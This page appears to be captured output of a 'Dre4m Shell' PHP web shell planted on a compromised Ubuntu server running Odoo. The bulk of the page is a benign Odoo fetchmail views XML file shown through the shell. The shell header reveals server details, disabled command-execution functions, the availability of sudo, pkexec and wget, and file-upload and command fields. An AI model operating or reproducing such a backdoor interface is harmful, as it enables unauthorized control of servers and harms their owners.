Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.145.216.39
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/fetchmail/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/fetchmail/views/fetchmail_views.xml
<?xml version="1.0"?>
<odoo>

        <record id="view_email_server_tree" model="ir.ui.view">
            <field name="name">fetchmail.server.list</field>
            <field name="model">fetchmail.server</field>
            <field name="arch" type="xml">
                <tree decoration-info="state == 'draft'" string="POP/IMAP Servers">
                    <field name="name"/>
                    <field name="type"/>
                    <field name="is_ssl"/>
                    <field name="object_id"/>
                    <field name="date"/>
                    <field name="message_ids" string="# of emails"/>
                    <field name="state"/>
                </tree>
            </field>
        </record>

        <record id="view_email_server_form" model="ir.ui.view">
            <field name="name">fetchmail.server.form</field>
            <field name="model">fetchmail.server</field>
            <field name="arch" type="xml">
                <form string="Incoming Mail Server">
                    <header attrs="{'invisible' : [('type', '=', 'local')]}">
                        <button string="Test &amp; Confirm" type="object" name="button_confirm_login" states="draft"/>
                        <button string="Fetch Now" type="object" name="fetch_mail" states="done"/>
                        <button string="Reset Confirmation" type="object" name="set_draft" states="done"/>
                        <field name="state" widget="statusbar"/>
                    </header>
                    <sheet>
                     <group col="4">
                        <field name="name"/>
                        <field name="type"/>
                        <field name="date"/>
                     </group>
                     <notebook>
                        <page string="Server &amp; Login">
                            <group>
                                <group attrs="{'invisible' : [('type', '=', 'local')]}" string="Server Information">
                                    <field name="server" colspan="2" attrs="{'required' : [('type', '!=', 'local')]}" />
                                    <field name="port" required="1" attrs="{'required' : [('type', '!=', 'local')]}" />
                                    <field name="is_ssl"/>
                                </group>
                                <group attrs="{'invisible' : [('type', '=', 'local')]}" string="Login Information">
                                    <field name="user" attrs="{'required' : [('type', '!=', 'local')]}"/>
                                    <field name="password" password="True" attrs="{'required' : [('type', '!=', 'local')]}"/>
                                </group>
                                <group string="Actions to Perform on Incoming Mails">
                                    <field name="object_id"/>
                                    <field name="action_id" groups="base.group_no_one"/>
                                </group>
                                <group attrs="{'invisible' : [('type', '!=', 'local')]}" string="Configuration">
                                    <field name="configuration" colspan="4"/>
                                    <field name="script" colspan="4" widget="url"/>
                                </group>
                            </group>
                        </page>
                        <page string="Advanced" groups="base.group_no_one">
                            <group string="Advanced Options" col="4">
                                <field name="priority"/>
                                <field name="attach"/>
                                <field name="original"/>
                                <field name="active"/>
                            </group>
                        </page>
                    </notebook>
                  </sheet>
                </form>
            </field>
        </record>

        <record id="view_email_server_search" model="ir.ui.view">
            <field name="name">fetchmail.server.search</field>
            <field name="model">fetchmail.server</field>
            <field name="arch" type="xml">
                <search string="Search Incoming Mail Servers">
                    <field name="name" string="Incoming Mail Server"/>
                    <filter string="IMAP" domain="[('type','=','imap')]" help="Server type IMAP."/>
                    <filter string="POP" domain="[('type','=','pop')]" help="Server type POP."/>
                    <separator/>
                    <filter string="SSL" domain="[('is_ssl','=',True)]" help="If SSL required."/>
                </search>
            </field>
        </record>

        <record id="action_email_server_tree" model="ir.actions.act_window">
            <field name="name">Incoming Mail Servers</field>
            <field name="res_model">fetchmail.server</field>
            <field name="view_type">form</field>
            <field name="view_mode">tree,form</field>
            <field name="view_id" ref="view_email_server_tree"/>
            <field name="search_view_id" ref="view_email_server_search"/>
        </record>

        <record id="inherit_view_general_configuration" model="ir.ui.view">
            <field name="name">General Settings</field>
            <field name="model">base.config.settings</field>
            <field name="inherit_id" ref="base_setup.view_general_configuration"/>
            <field name="arch" type="xml">
                <div name="email.outgoing_server" position="after">
                    <div name="email.incoming_server">
                        <button type="action"
                                name="%(action_email_server_tree)d"
                                string="Configure the incoming email gateway" class="oe_link"/>
                    </div>
                </div>
            </field>
        </record>


        <menuitem
            parent="base.menu_email"
            id="menu_action_fetchmail_server_tree"
            action="action_email_server_tree"
            name="Incoming Mail Servers"
            sequence="14"
            groups="base.group_no_one"
        />

</odoo>

Anon7 - 2022
AnonSec Team